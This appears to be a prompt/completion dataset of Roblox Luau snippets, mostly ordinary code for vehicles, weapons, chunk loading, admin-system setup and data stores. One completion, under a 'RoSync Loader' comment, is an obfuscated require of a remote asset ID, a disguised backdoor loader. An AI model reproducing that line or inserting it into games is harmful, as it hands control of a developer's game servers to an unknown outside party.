prompt
stringlengths
2
14.7k
completion
stringlengths
1
99.7k
--local chunkHandler = require(game.ReplicatedStorage.Modules.Chunk_Handler)
local grid = chunkHandler:GetGrid() local oldChunks = {} repeat wait() until game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character.Parent == workspace while wait(4) do local chunk = chunkHandler:GetChunkAtVector3(grid, game.Players.LocalPlayer.Character.HumanoidRootPart.Position) if chunk then local neighbors = chunk:GetNeighborChunks(grid, 3, true) local newChunks = {} for i,v in pairs (neighbors) do --[[local p = Instance.new("Part") p.Anchored = true p.CFrame = v.CFrame p.Size = Vector3.new(4, 4, 4) p.Parent = workspace game.Debris:AddItem(p, 2)]] newChunks[v] = v if oldChunks[v] == nil then oldChunks[v] = v end v:ShowResources() end newChunks[chunk] = chunk chunk:ShowResources() for _, oldChunk in pairs (oldChunks) do if newChunks[oldChunk] == nil then --This chunk is no longer in range print("HIDING CHUNKS") oldChunk:HideResources() oldChunks[oldChunk] = nil end end end end
--Brake.InputChanged:Connect(TouchBrake)
local function TouchHandbrake(input, GPE) if input.UserInputState == Enum.UserInputState.Begin then _PBrake = not _PBrake elseif input.UserInputState == Enum.UserInputState.End then if car.DriveSeat.Velocity.Magnitude>5 then _PBrake = false end end end Handbrake.InputBegan:Connect(TouchHandbrake) Handbrake.InputEnded:Connect(TouchHandbrake)
-- ==================== -- BASIC -- A basic settings for the gun -- ====================
Auto = true; MuzzleOffset = Vector3.new(0, 0.60, -4.25); BaseDamage = 8; FireRate = 0.05; --In second ReloadTime = 2; --In second AmmoPerClip = 30; --Put "math.huge" to make this gun has infinite ammo and never reload Spread = 0.25; --In degree HeadshotEnabled = true; --Enable the gun to do extra damage on headshot HeadshotDamageMultiplier = 1.5; MouseIconID = "68308747"; HitSoundIDs = {186809061,186809249,186809250,186809252}; IdleAnimationID = 94331086; --Set to "nil" if you don't want to animate IdleAnimationSpeed = 1; FireAnimationID = nil; --Set to "nil" if you don't want to animate FireAnimationSpeed = 6; ReloadAnimationID = nil; --Set to "nil" if you don't want to animate ReloadAnimationSpeed = 1;
-------------------------------------------------------------------------------------- --------------------[ CONSTANTS ]----------------------------------------------------- --------------------------------------------------------------------------------------
local Gun = script.Parent local serverMain = Gun:WaitForChild("serverMain") local Handle = Gun:WaitForChild("Handle") local AimPart = Gun:WaitForChild("SightMark") local Main = Gun:WaitForChild("Flame") local Ammo = Gun:WaitForChild("Ammo") local ClipSize = Gun:WaitForChild("ClipSize") local StoredAmmo = Gun:WaitForChild("StoredAmmo") local createTweenIndicator = serverMain:WaitForChild("createTweenIndicator") local deleteTweenIndicator = serverMain:WaitForChild("deleteTweenIndicator") local getWeldCF = serverMain:WaitForChild("getWeldCF") local gunSetup = serverMain:WaitForChild("gunSetup") local lerpCF = serverMain:WaitForChild("lerpCF") local createBlood = serverMain:WaitForChild("createBlood") local createBulletImpact = serverMain:WaitForChild("createBulletImpact") local createShockwave = serverMain:WaitForChild("createShockwave") local createTrail = serverMain:WaitForChild("createTrail") local Particle = require(script:WaitForChild("Particle")) local Spring = require(script:WaitForChild("Spring")) local Anims = require(Gun:WaitForChild("ANIMATIONS")) local Plugins = require(Gun:WaitForChild("PLUGINS")) local S = require(Gun:WaitForChild("SETTINGS")) local Player = game.Players.LocalPlayer local Char = Player.Character local Humanoid = Char:WaitForChild("Humanoid") local Torso = Char:WaitForChild("Torso") local Head = Char:WaitForChild("Head") local HRP = Char:WaitForChild("HumanoidRootPart") local Root = HRP:WaitForChild("RootJoint") local Neck = Torso:WaitForChild("Neck") local LArm = Char:WaitForChild("Left Arm") local RArm = Char:WaitForChild("Right Arm") local LLeg = Char:WaitForChild("Left Leg") local RLeg = Char:WaitForChild("Right Leg") local M2 = Player:GetMouse() local mainGUI = script:WaitForChild("mainGUI") local crossHair = mainGUI:WaitForChild("crossHair") local HUD = mainGUI:WaitForChild("HUD") local Scope = mainGUI:WaitForChild("Scope") local fireSelect = mainGUI:WaitForChild("fireSelect") local hitMarker = mainGUI:WaitForChild("hitMarker") local Sens = mainGUI:WaitForChild("Sens") local crossA = crossHair:WaitForChild("A"):WaitForChild("Line") local crossB = crossHair:WaitForChild("B"):WaitForChild("Line") local crossC = crossHair:WaitForChild("C"):WaitForChild("Line") local crossD = crossHair:WaitForChild("D"):WaitForChild("Line") local Controls = HUD:WaitForChild("Controls") local gunNameTitle = HUD:WaitForChild("gunName"):WaitForChild("Title") local scopeMain = Scope:WaitForChild("Main") local scopeSteady = Scope:WaitForChild("Steady") local fireModes = fireSelect:WaitForChild("Modes") local modeGUI = HUD:WaitForChild("Mode"):WaitForChild("Main") local clipAmmoGUI = HUD:WaitForChild("Ammo"):WaitForChild("Clip") local storedAmmoGUI = HUD:WaitForChild("Ammo"):WaitForChild("Stored") local DS = game:GetService("Debris") local CP = game:GetService("ContentProvider") local RS = game:GetService("RunService") local UIS = game:GetService("UserInputService") local Cam = game.Workspace.CurrentCamera local ABS, HUGE, FLOOR, CEIL = math.abs, math.huge, math.floor, math.ceil local RAD, SIN, COS, TAN = math.rad, math.sin, math.cos, math.tan local VEC2, V3 = Vector2.new, Vector3.new local CF, CFANG = CFrame.new, CFrame.Angles local INSERT = table.insert local maxStamina = S.sprintTime * 60 local maxSteadyTime = S.scopeSettings.steadyTime * 60 local LethalIcons = { "http://www.roblox.com/asset/?id=194849880"; "http://www.roblox.com/asset/?id=195727791"; "http://www.roblox.com/asset/?id=195728137"; "http://www.roblox.com/asset/?id=218151830"; } local TacticalIcons = { "http://www.roblox.com/asset/?id=195728473"; "http://www.roblox.com/asset/?id=195728693"; } local ASCII = { 071; 117; 110; 032; 075; 105; 116; 032; 115; 099; 114; 105; 112; 116; 101; 100; 032; 098; 121; 032; 084; 117; 114; 098; 111; 070; 117; 115; 105; 111; 110; 000; } local Ignore = { Char; ignoreModel; } local Shoulders = { Right = Torso:WaitForChild("Right Shoulder"); Left = Torso:WaitForChild("Left Shoulder") } local armC0 = { CF(-1.5, 0, 0) * CFANG(RAD(90), 0, 0); CF(1.5, 0, 0) * CFANG(RAD(90), 0, 0); } local legC0 = { Stand = { CF(-0.5, -2, 0); CF(0.5, -2, 0); }; Crouch = { CF(-0.5, -1.5, 0.5) * CFANG(-RAD(90), 0, 0); CF(0.5, -1, -0.75); }; Prone = { CF(-0.5, -2, 0); CF(0.5, -2, 0); }; } local Sine = function(X) return SIN(RAD(X)) end local Linear = function(X) return (X / 90) end
--// Init
log("Return init function"); return service.NewProxy({ __call = function(self, data) log("Begin init"); local remoteName,depsName = string.match(data.Name, "(.*)\\(.*)") Folder = service.Wrap(data.Folder --[[or folder and folder:Clone()]] or Folder) setfenv(1,setmetatable({}, {__metatable = unique})) client.Folder = Folder; client.UIFolder = Folder:WaitForChild("UI",9e9); client.Shared = Folder:WaitForChild("Shared",9e9); client.Loader = data.Loader client.Module = data.Module client.DepsName = depsName client.TrueStart = data.Start client.LoadingTime = data.LoadingTime client.RemoteName = remoteName client.Changelog = oldReq(service_UnWrap(client.Shared.Changelog)) do local MaterialIcons = oldReq(service_UnWrap(client.Shared.MatIcons)) client.MatIcons = setmetatable({}, { __index = function(self, ind) local materialIcon = MaterialIcons[ind] if materialIcon then self[ind] = string.format("rbxassetid://%d", materialIcon) return self[ind] end end, __metatable = "Adonis" }) end --// Toss deps into a table so we don't need to directly deal with the Folder instance they're in log("Get dependencies") for ind,obj in ipairs(Folder:WaitForChild("Dependencies",9e9):GetChildren()) do client.Deps[obj.Name] = obj end --// Do this before we start hooking up events log("Destroy script object") --folder:Destroy() script.Parent = nil --script:Destroy() --// Intial setup log("Initial services caching") for ind, serv in ipairs(ServicesWeUse) do local temp = service[serv] end --// Client specific service variables/functions log("Add service specific") ServiceSpecific.Player = service.Players.LocalPlayer or (function() service.Players:GetPropertyChangedSignal("LocalPlayer"):Wait() return service.Players.LocalPlayer end)(); ServiceSpecific.PlayerGui = ServiceSpecific.Player:FindFirstChildWhichIsA("PlayerGui"); if not ServiceSpecific.PlayerGui then Routine(function() local PlayerGui = ServiceSpecific.Player:WaitForChild("PlayerGui", 120) if not PlayerGui then logError("PlayerGui unable to be fetched? [Waited 120 Seconds]") return; end ServiceSpecific.PlayerGui = PlayerGui end) end --[[ -- // Doesn't seem to be used anymore ServiceSpecific.SafeTweenSize = function(obj, ...) pcall(obj.TweenSize, obj, ...) end; ServiceSpecific.SafeTweenPos = function(obj, ...) pcall(obj.TweenPosition, obj, ...) end; ]] ServiceSpecific.Filter = function(str,from,to) return client.Remote.Get("Filter",str,(to and from) or service.Player,to or from) end; ServiceSpecific.LaxFilter = function(str,from) return service.Filter(str,from or service.Player,from or service.Player) end; ServiceSpecific.BroadcastFilter = function(str,from) return client.Remote.Get("BroadcastFilter",str,from or service.Player) end; ServiceSpecific.IsMobile = function() return service.UserInputService.TouchEnabled and not service.UserInputService.MouseEnabled and not service.UserInputService.KeyboardEnabled end; ServiceSpecific.LocalContainer = function() if not client.Variables.LocalContainer or not client.Variables.LocalContainer.Parent then client.Variables.LocalContainer = service.New("Folder") client.Variables.LocalContainer.Name = "__ADONIS_LOCALCONTAINER_" .. client.Functions.GetRandom() client.Variables.LocalContainer.Parent = workspace end return client.Variables.LocalContainer end; --// Load Core Modules log("Loading core modules") for ind,load in ipairs(LoadingOrder) do local modu = Folder.Core:FindFirstChild(load) if modu then log("~! Loading Core Module: ".. tostring(load)) LoadModule(modu, true, {script = script}) end end --// Start of module loading and server connection process local runLast = {} local runAfterInit = {} local runAfterLoaded = {} local runAfterPlugins = {} --// Loading Finisher client.Finish_Loading = function() log("Client fired finished loading") if client.Core.Key then --// Run anything from core modules that needs to be done after the client has finished loading log("~! Doing run after loaded") for i,f in pairs(runAfterLoaded) do Pcall(f, data); end --// Stuff to run after absolutely everything else log("~! Doing run last") for i,f in pairs(runLast) do Pcall(f, data); end --// Finished loading log("Finish loading") clientLocked = true client.Finish_Loading = function() end client.LoadingTime() --origWarn(tostring(time()-(client.TrueStart or startTime))) service.Events.FinishedLoading:Fire(os.time()) log("~! FINISHED LOADING!") else log("Client missing remote key") client.Kill()("Missing remote key") end end --// Initialize Cores log("~! Init cores"); for i,name in ipairs(LoadingOrder) do local core = client[name] log("~! INIT: ".. tostring(name)) if core then if type(core) == "table" or (type(core) == "userdata" and getmetatable(core) == "ReadOnly_Table") then if core.RunLast then table.insert(runLast, core.RunLast); core.RunLast = nil; end if core.RunAfterInit then table.insert(runAfterInit, core.RunAfterInit); core.RunAfterInit = nil; end if core.RunAfterPlugins then table.insert(runAfterPlugins, core.RunAfterPlugins); core.RunAfterPlugins = nil; end if core.RunAfterLoaded then table.insert(runAfterLoaded, core.RunAfterLoaded); core.RunAfterLoaded = nil; end if core.Init then log("Run init for ".. tostring(name)) Pcall(core.Init, data); core.Init = nil; end end end end --// Load any afterinit functions from modules (init steps that require other modules to have finished loading) log("~! Running after init") for i,f in pairs(runAfterInit) do Pcall(f, data); end --// Load Plugins log("~! Running plugins") for index,plugin in ipairs(Folder.Plugins:GetChildren()) do LoadModule(plugin, false, {script = plugin}); --noenv end --// We need to do some stuff *after* plugins are loaded (in case we need to be able to account for stuff they may have changed before doing something, such as determining the max length of remote commands) log("~! Running after plugins") for i,f in pairs(runAfterPlugins) do Pcall(f, data); end log("Initial loading complete") --// Below can be used to determine when all modules and plugins have finished loading; service.Events.AllModulesLoaded:Connect(function() doSomething end) client.AllModulesLoaded = true; service.Events.AllModulesLoaded:Fire(os.time()); --[[client = service.ReadOnly(client, { [client.Variables] = true; [client.Handlers] = true; G_API = true; G_Access = true; G_Access_Key = true; G_Access_Perms = true; Allowed_API_Calls = true; HelpButtonImage = true; Finish_Loading = true; RemoteEvent = true; ScriptCache = true; Returns = true; PendingReturns = true; EncodeCache = true; DecodeCache = true; Received = true; Sent = true; Service = true; Holder = true; GUIs = true; LastUpdate = true; RateLimits = true; Init = true; RunAfterInit = true; RunAfterLoaded = true; RunAfterPlugins = true; }, true)--]] service.Events.ClientInitialized:Fire(); log("~! Return success"); return "SUCCESS" end; __metatable = "Adonis"; __tostring = function() return "Adonis" end; })
-- Decompiled with Visenya | https://targaryentech.com
script.Parent:WaitForChild("Values") local is = game:GetService("UserInputService") local cr = script.Parent.Car.Value local lt = cr.Body.Lights local tk = cr.Body.TK local vl = script.Parent.Values local GBrake = vl.Brake local gr = vl.Gear local bk = vl.Brake.Value local l1 = lt.RunL local r1 = lt.RunR local b1 = tk.RLeft local b2 = tk.RRight local b3 = lt.Brake local b4 = tk.Brake local lw = lt.B local lww = lt.L local lwww = lt.L2 local hi = lt.HB local rb = tk.RB local rv = tk.Reverse local left = false local right = false local hazards = false local reverse = false local headlt = false local highlt = false local relay = false local brake = false function DealWithInput(input, processed) if processed then return end if input.KeyCode == Enum.KeyCode.S or input.KeyCode == Enum.KeyCode.Down then if input.UserInputState == Enum.UserInputState.Begin then brake = true b3.BrickColor = BrickColor.new("Really red") b3.Material = Enum.Material.Neon b4.BrickColor = BrickColor.new("Really red") b4.Material = Enum.Material.Neon elseif input.UserInputState == Enum.UserInputState.End then brake = false b3.BrickColor = BrickColor.new("Crimson") b3.Material = Enum.Material.SmoothPlastic b4.BrickColor = BrickColor.new("Crimson") b4.Material = Enum.Material.SmoothPlastic end elseif input.KeyCode == Enum.KeyCode.Z then if input.UserInputState == Enum.UserInputState.Begin then if hazards then return end left = not left right = false if relay then repeat wait() until not relay end while left do l1.BrickColor = BrickColor.new("Deep orange") l1.Material = Enum.Material.Neon b1.BrickColor = BrickColor.new("Deep orange") b1.Material = Enum.Material.Neon cr.DriveSeat.Indicator.Value = true cr.DriveSeat.LI.Value = true wait(0.3333333333333333) l1.BrickColor = BrickColor.new("Neon orange") l1.Material = Enum.Material.SmoothPlastic cr.DriveSeat.Indicator.Value = false cr.DriveSeat.LI.Value = false if not headlt then b1.BrickColor = BrickColor.new("Neon orange") b1.Material = Enum.Material.SmoothPlastic else b1.BrickColor = BrickColor.new("Neon orange") b1.Material = Enum.Material.SmoothPlastic end wait(0.3333333333333333) if not left then l1.Material = Enum.Material.SmoothPlastic l1.BrickColor = BrickColor.new("Neon orange") end end end elseif input.KeyCode == Enum.KeyCode.X then if input.UserInputState == Enum.UserInputState.Begin then if hazards == false then hazards = true left = true right = true else hazards = false left = false right = false end if hazards then left = false right = false end if relay then repeat wait() until not relay end while hazards do l1.BrickColor = BrickColor.new("Deep orange") l1.Material = Enum.Material.Neon r1.BrickColor = BrickColor.new("Deep orange") r1.Material = Enum.Material.Neon b1.BrickColor = BrickColor.new("Deep orange") b1.Material = Enum.Material.Neon b2.BrickColor = BrickColor.new("Deep orange") b2.Material = Enum.Material.Neon cr.DriveSeat.Indicator.Value = true cr.DriveSeat.LI.Value = true cr.DriveSeat.RI.Value = true wait(0.3333333333333333) l1.BrickColor = BrickColor.new("Neon orange") l1.Material = Enum.Material.SmoothPlastic r1.BrickColor = BrickColor.new("Neon orange") r1.Material = Enum.Material.SmoothPlastic b1.BrickColor = BrickColor.new("Neon orange") b1.Material = Enum.Material.SmoothPlastic b2.BrickColor = BrickColor.new("Neon orange") b2.Material = Enum.Material.SmoothPlastic cr.DriveSeat.Indicator.Value = false cr.DriveSeat.LI.Value = false cr.DriveSeat.RI.Value = false wait(0.3333333333333333) if not hazards then l1.Material = Enum.Material.SmoothPlastic r1.Material = Enum.Material.SmoothPlastic l1.BrickColor = BrickColor.new("Neon orange") r1.BrickColor = BrickColor.new("Neon orange") end end end elseif input.KeyCode == Enum.KeyCode.C then if input.UserInputState == Enum.UserInputState.Begin then if hazards then return end right = not right left = false if relay then repeat wait() until not relay end while right do r1.BrickColor = BrickColor.new("Deep orange") r1.Material = Enum.Material.Neon b2.BrickColor = BrickColor.new("Deep orange") b2.Material = Enum.Material.Neon cr.DriveSeat.Indicator.Value = true cr.DriveSeat.RI.Value = true wait(0.3333333333333333) r1.BrickColor = BrickColor.new("Neon orange") r1.Material = Enum.Material.SmoothPlastic cr.DriveSeat.Indicator.Value = false cr.DriveSeat.RI.Value = false if not headlt then b2.BrickColor = BrickColor.new("Neon orange") b2.Material = Enum.Material.SmoothPlastic else b2.BrickColor = BrickColor.new("Neon orange") b2.Material = Enum.Material.SmoothPlastic end wait(0.3333333333333333) if not right then r1.Material = Enum.Material.SmoothPlastic r1.BrickColor = BrickColor.new("Neon orange") end end end elseif input.KeyCode == Enum.KeyCode.L and input.UserInputState == Enum.UserInputState.Begin then if headlt and not highlt then highlt = true elseif headlt and highlt then headlt = false highlt = false elseif not headlt then headlt = true end if highlt then hi.BrickColor = BrickColor.new("Pearl") hi.Material = Enum.Material.Neon lwww.SpotLight.Enabled = true rb.BrickColor = BrickColor.new("Really red") rb.Material = Enum.Material.Neon elseif not highlt then hi.BrickColor = BrickColor.new("Institutional white") hi.Material = Enum.Material.SmoothPlastic lwww.SpotLight.Enabled = false if not headlt then rb.BrickColor = BrickColor.new("Crimson") rb.Material = Enum.Material.SmoothPlastic elseif not headlt or highlt then rb.BrickColor = BrickColor.new("Crimson") rb.Material = Enum.Material.SmoothPlastic end end if headlt then lw.BrickColor = BrickColor.new("Pearl") lw.Material = Enum.Material.Neon lww.SpotLight.Enabled = true rb.BrickColor = BrickColor.new("Really red") rb.Material = Enum.Material.Neon if not highlt then lw.BrickColor = BrickColor.new("Pearl") rb.BrickColor = BrickColor.new("Really red") rb.Material = Enum.Material.Neon else end elseif not headlt then lw.BrickColor = BrickColor.new("Institutional white") lw.Material = Enum.Material.SmoothPlastic lww.SpotLight.Enabled = false if not brake then end end end end is.InputBegan:connect(DealWithInput) is.InputChanged:connect(DealWithInput) is.InputEnded:connect(DealWithInput) gr.Changed:connect(function() if gr.Value == -1 then rv.Material = Enum.Material.Neon else rv.Material = Enum.Material.SmoothPlastic end end)
-- ROBLOX deviation START: We don't need to wrap lines so return the string as-is. -- word-wrap a string that contains ANSI escape sequences. -- ANSI escape sequences do not add to the string length.
local function wrapAnsiString(string: string, terminalWidth: number): string return string end exports.wrapAnsiString = wrapAnsiString
--[[ Caches the character appearance of the specified userId ]]
function CharacterAppearanceCache.cacheCharacterAppearance(userId) coroutine.wrap( function() local success, appearanceAssets = pcall( function() return Players:GetCharacterAppearanceAsync(userId) end ) if not success then Logger.warn("Failed to load character appearance for ", userId) return end appearanceCache[tostring(userId)] = appearanceAssets Logger.trace("Cached character model for", userId) end )() end
--fast
script.Parent.Color = Color3.new(math.random(),math.random(),math.random()) wait(1) mode4() end function mode5()
-- child.C0 = CFrame.new(0,-0.6,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0) --// Reposition player
if child.Part1.Name == "HumanoidRootPart" then player = game.Players:GetPlayerFromCharacter(child.Part1.Parent) if player and (not player.PlayerGui:FindFirstChild("Screen")) then --// The part after the "and" prevents multiple GUI's to be copied over. GUI.CarSeat.Value = script.Parent --// Puts a reference of the seat in this ObjectValue, now you can use this ObjectValue's value to find the car directly. GUI:Clone().Parent = player.PlayerGui --// Compact version if script.Parent.L.Value == true then --because you can't get in a locked car wait() script.Parent.Disabled = true wait() script.Parent.Disabled = false else script.Parent.Occupied.Value = true script.Parent.Parent.Body.Lights.DRL.Material = "Neon" script.Parent.Parent.Body.Dash.Screen.G.Enabled = true script.Parent.Parent.Body.Dash.Speed.G.Enabled = true script.Parent.Parent.Body.Dash.Odo.G.Enabled = true script.Parent.Parent.Body.Dash.Gear.G.Enabled = true if child.Part1.Parent:FindFirstChild("Humanoid").RigType == Enum.HumanoidRigType.R15 then script.Parent.Parent.Misc.A.arms.Shirt.ShirtTemplate = child.Part1.Parent:FindFirstChild("Shirt").ShirtTemplate child.Part1.Parent:FindFirstChildOfClass("BodyColors"):Clone().Parent = script.Parent.Parent.Misc.A.arms for i,v in pairs(script.Parent.Parent.Misc.A.arms:GetChildren()) do if v:IsA("BasePart") then v.Transparency = 0 end end child.Part1.Parent.LeftHand.Transparency = 1 child.Part1.Parent.LeftLowerArm.Transparency = 1 child.Part1.Parent.LeftUpperArm.Transparency = 1 child.Part1.Parent.RightHand.Transparency = 1 child.Part1.Parent.RightLowerArm.Transparency = 1 child.Part1.Parent.RightUpperArm.Transparency = 1 end end end end end end) script.Parent.ChildRemoved:connect(function(child) if child:IsA("Weld") then if child.Part1.Name == "HumanoidRootPart" then game.Workspace.CurrentCamera.FieldOfView = 70 player = game.Players:GetPlayerFromCharacter(child.Part1.Parent) if player and player.PlayerGui:FindFirstChild("SS3") then player.PlayerGui:FindFirstChild("SS3"):Destroy() script.Parent.Occupied.Value = false script.Parent.Parent.Body.Lights.DRL.Material = "SmoothPlastic" script.Parent.Parent.Body.Dash.Screen.G.Enabled = false script.Parent.Parent.Body.Dash.Speed.G.Enabled = false script.Parent.Parent.Body.Dash.Odo.G.Enabled = false script.Parent.Parent.Body.Dash.Gear.G.Enabled = false if child.Part1.Parent:FindFirstChild("Humanoid").RigType == Enum.HumanoidRigType.R15 then script.Parent.Parent.Misc.A.arms:FindFirstChildOfClass("BodyColors"):Destroy() for i,v in pairs(script.Parent.Parent.Misc.A.arms:GetChildren()) do if v:IsA("BasePart") then v.Transparency = 1 end end child.Part1.Parent.LeftHand.Transparency = 0 child.Part1.Parent.LeftLowerArm.Transparency = 0 child.Part1.Parent.LeftUpperArm.Transparency = 0 child.Part1.Parent.RightHand.Transparency = 0 child.Part1.Parent.RightLowerArm.Transparency = 0 child.Part1.Parent.RightUpperArm.Transparency = 0 end end end end end)
-- This function casts a ray with a blacklist but not for Humanoid Penetration.
local function CastWithBlacklistAndNoHumPenetration(origin, direction, blacklist, ignoreWater, character, friendlyFire) if not blacklist or typeof(blacklist) ~= "table" then -- This array is faulty error("Call in CastBlacklist failed! Blacklist table is either nil, or is not actually a table.", 0) end local castRay = Ray.new(origin, direction) local hitPart, hitPoint, hitNormal, hitMaterial = nil, origin + direction, Vector3.new(0,1,0), Enum.Material.Air local success = false repeat hitPart, hitPoint, hitNormal, hitMaterial = Workspace:FindPartOnRayWithIgnoreList(castRay, blacklist, false, ignoreWater) if hitPart then local target = hitPart:FindFirstAncestorOfClass("Model") local targetHumanoid = target and target:FindFirstChildOfClass("Humanoid") if (hitPart.Transparency > 0.75 or hitPart.Name == "Missile" or hitPart.Name == "Handle" or hitPart.Name == "Effect" or hitPart.Name == "Bullet" or hitPart.Name == "Laser" or string.lower(hitPart.Name) == "water" or hitPart.Name == "Rail" or hitPart.Name == "Arrow" or (targetHumanoid and (targetHumanoid.Health == 0 or not DamageModule.CanDamage(target, character, friendlyFire)))) then table.insert(blacklist, hitPart) success = false else success = true end else success = true end until success return hitPart, hitPoint, hitNormal, hitMaterial end
-- regeneration
function regenHealth() if regening then return end regening = true while Humanoid.Health < Humanoid.MaxHealth do local s = wait(1) local health = Humanoid.Health if health~=0 and health < Humanoid.MaxHealth then local newHealthDelta = 0.01 * s * Humanoid.MaxHealth health = health + newHealthDelta Humanoid.Health = math.min(health,Humanoid.MaxHealth) end end if Humanoid.Health > Humanoid.MaxHealth then Humanoid.Health = Humanoid.MaxHealth end regening = false end Humanoid.HealthChanged:connect(regenHealth)
-- Check if enough time has pissed since previous shot was fired
local function canShootWeapon() local currentTime = tick() if currentTime - timeOfPreviousShot < FIRE_RATE then return false end return true end local function getWorldMousePosition() local mouseLocation = UserInputService:GetMouseLocation() -- Create a ray from the 2D mouse location local screenToWorldRay = workspace.CurrentCamera:ViewportPointToRay(mouseLocation.X, mouseLocation.Y) -- The unit direction vector of the ray multiplied by a maxiumum distance local directionVector = screenToWorldRay.Direction * MAX_MOUSE_DISTANCE -- Raycast from the roy's origin towards its direction local raycastResult = workspace:Raycast(screenToWorldRay.Origin, directionVector) if raycastResult then -- Return the 3D point of intersection return raycastResult.Position else -- No object was hit so calculate the position at the end of the ray return screenToWorldRay.Origin + directionVector end end local function fireWeapon() local mouseLocation = getWorldMousePosition() -- Calculate a normalised direction vector and multiply by laser distance local targetDirection = (mouseLocation - tool.Handle.Position).Unit -- The direction to fire the weapon, multiplied by a maximum distance local directionVector = targetDirection * MAX_LASER_DISTANCE -- Ignore the player's character to prevent them from damaging themselves local weaponRaycastParams = RaycastParams.new() weaponRaycastParams.FilterDescendantsInstances = {Players.LocalPlayer.Character} local weaponRaycastResult = workspace:Raycast(tool.Handle.Position, directionVector, weaponRaycastParams) -- Check if any objects were hit between the start and end position local hitPosition if weaponRaycastResult then hitPosition = weaponRaycastResult.Position -- The instance hit will be a child of a character model -- If a humanoid is found in the model then it's likely a player's character local characterModel = weaponRaycastResult.Instance:FindFirstAncestorOfClass("Model") if characterModel then local humanoid = characterModel:FindFirstChild("Humanoid") if humanoid then eventsFolder.DamageCharacter:FireServer(characterModel, hitPosition) end end else -- Calculate the end position based on maxiumum laser distance hitPosition = tool.Handle.Position + directionVector end timeOfPreviousShot = tick() eventsFolder.LaserFired:FireServer(hitPosition) LaserRenderer.createLaser(tool.Handle, hitPosition) end local function toolEquipped() tool.Handle.Equip:Play() end local function toolActivated() if canShootWeapon() then fireWeapon() end end tool.Equipped:Connect(toolEquipped) tool.Activated:Connect(toolActivated)
--[[ Last synced 11/11/2020 02:18 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
-- API
local Core = require(Tool.Core) local Selection = Core.Selection local Security = Core.Security local BoundingBox = require(Tool.Core.BoundingBox)
------------------------------------------------------------------------------ --------------------[ FUNCTIONS ]--------------------------------------------- ------------------------------------------------------------------------------
local FindFirstClass = function(Object, Class) local FoundObject = nil for _, Obj in pairs(Object:GetChildren()) do if Obj.ClassName == Class then FoundObject = Obj break end end return FoundObject end local IsEnemy = function(Human) local HitPlyr = game.Players:GetPlayerFromCharacter(Human.Parent) if (not HitPlyr) then return S.CanDamageNPCs end return S.AllowFriendlyFire or (HitPlyr.TeamColor ~= Plyr.Value.TeamColor or HitPlyr.Neutral) end local IsIgnored = function(Obj) for _,v in pairs(Ignore) do if Obj == v or Obj:IsDescendantOf(v) then return true end end return false end local MarkHit = function() spawn(function() local Gui_Clone = Plyr.Value:WaitForChild("PlayerGui"):WaitForChild("Main_Gui") local HitMarker = Gui_Clone:WaitForChild("HitMarker") HitMarker.Visible = true local StartMark = tick() HitMarker.LastMark.Value = StartMark wait(0.5) if HitMarker.LastMark.Value <= StartMark then HitMarker.Visible = false end end) end
--Variables--
local set = script.Settings local sp = set.Speed local enabled = set.Enabled local hum = script.Parent:WaitForChild("Zombie") if hum then print("Success") else print("No Humanoid") end local humanim = hum:LoadAnimation(script:FindFirstChildOfClass("Animation"))
-- Configurable, and you can choose multiple keys
Cmdr:SetActivationKeys({ Enum.KeyCode.LeftControl })
--Strobe Stop
Model.Configuration.Strobe.Value = 0
--[[ Script Variables ]]
-- while not Players.LocalPlayer do wait() end local LocalPlayer = Players.LocalPlayer local IsFollowStick = true local ThumbstickFrame = nil local MoveTouchObject = nil local OnTouchEnded = nil -- defined in Create() local OnTouchMovedCn = nil local OnTouchEndedCn = nil local currentMoveVector = Vector3.new(0,0,0)
----- Service Table -----
local RateLimiter = { Default = nil, }
--[[-------------------------------------------------------------------- -- Notes: -- * WARNING! byte order (little endian) and data type sizes for header -- signature values hard-coded; see luaU:header -- * chunk writer generators are included, see below -- * one significant difference is that instructions are still in table -- form (with OP/A/B/C/Bx fields) and luaP:Instruction() is needed to -- convert them into 4-char strings -- -- Not implemented: -- * DumpVar, DumpMem has been removed -- * DumpVector folded into folded into DumpDebug, DumpCode -- -- Added: -- * for convenience, the following two functions have been added: -- luaU:make_setS: create a chunk writer that writes to a string -- luaU:make_setF: create a chunk writer that writes to a file -- (lua.h contains a typedef for lua_Writer/lua_Chunkwriter, and -- a Lua-based implementation exists, writer() in lstrlib.c) -- * luaU:ttype(o) (from lobject.h) -- * for converting number types to its binary equivalent: -- luaU:from_double(x): encode double value for writing -- luaU:from_int(x): encode integer value for writing -- (error checking is limited for these conversion functions) -- (double conversion does not support denormals or NaNs) -- -- Changed in 5.1.x: -- * the dumper was mostly rewritten in Lua 5.1.x, so notes on the -- differences between 5.0.x and 5.1.x is limited -- * LUAC_VERSION bumped to 0x51, LUAC_FORMAT added -- * developer is expected to adjust LUAC_FORMAT in order to identify -- non-standard binary chunk formats -- * header signature code is smaller, has been simplified, and is -- tested as a single unit; its logic is shared with the undumper -- * no more endian conversion, invalid endianness mean rejection -- * opcode field sizes are no longer exposed in the header -- * code moved to front of a prototype, followed by constants -- * debug information moved to the end of the binary chunk, and the -- relevant functions folded into a single function -- * luaU:dump returns a writer status code -- * chunk writer now implements status code because dumper uses it -- * luaU:endianness removed ----------------------------------------------------------------------]]
--[=[ @within Timer @type TimeFn () -> number Time function. ]=]
type TimeFn = () -> number local Signal = require(script.Parent.Signal) local RunService = game:GetService("RunService")
-- https://developer.roblox.com/en-us/api-reference/class/DataStoreService
local dataStoreService = game:GetService("DataStoreService")
----- Private Functions -----
local debounce = {} local function SellSpeed(player: Player, sellPart : Part) -- convert speed to coin if debounce[player] then return end -- the cooldown local profile = PlayerData.Profiles[player] -- convert the speed to coin if not profile then return "Profile not found" end local sellPartArea = sellPart:GetAttribute("Area") if not profile.Data.Area[sellPartArea] then return "Area not unlocked" end -- check if the player has unlocked the area local SpeedToSell = profile.Data.Speed PlayerData.ResetSpeed(player) local CoinToMake = SpeedToSell * Stat.CoinMultiplier(player, profile.Data, sellPart) PlayerData.AdjustCoin(player, CoinToMake) debounce[player] = true -- activate the cooldown task.delay(SELL_COOLDOWN, function() debounce[player] = nil end) end local function CreateSellListener() for _, descendant in Workspace.Game.Special:GetDescendants() do if descendant.Name ~= "Sell" then continue end local touchPart = descendant.Hit touchPart.Touched:Connect(function(otherPart) local player = Players:GetPlayerFromCharacter(otherPart.Parent) if player then SellSpeed(player, descendant) end end) end end
--// Ammo Settings
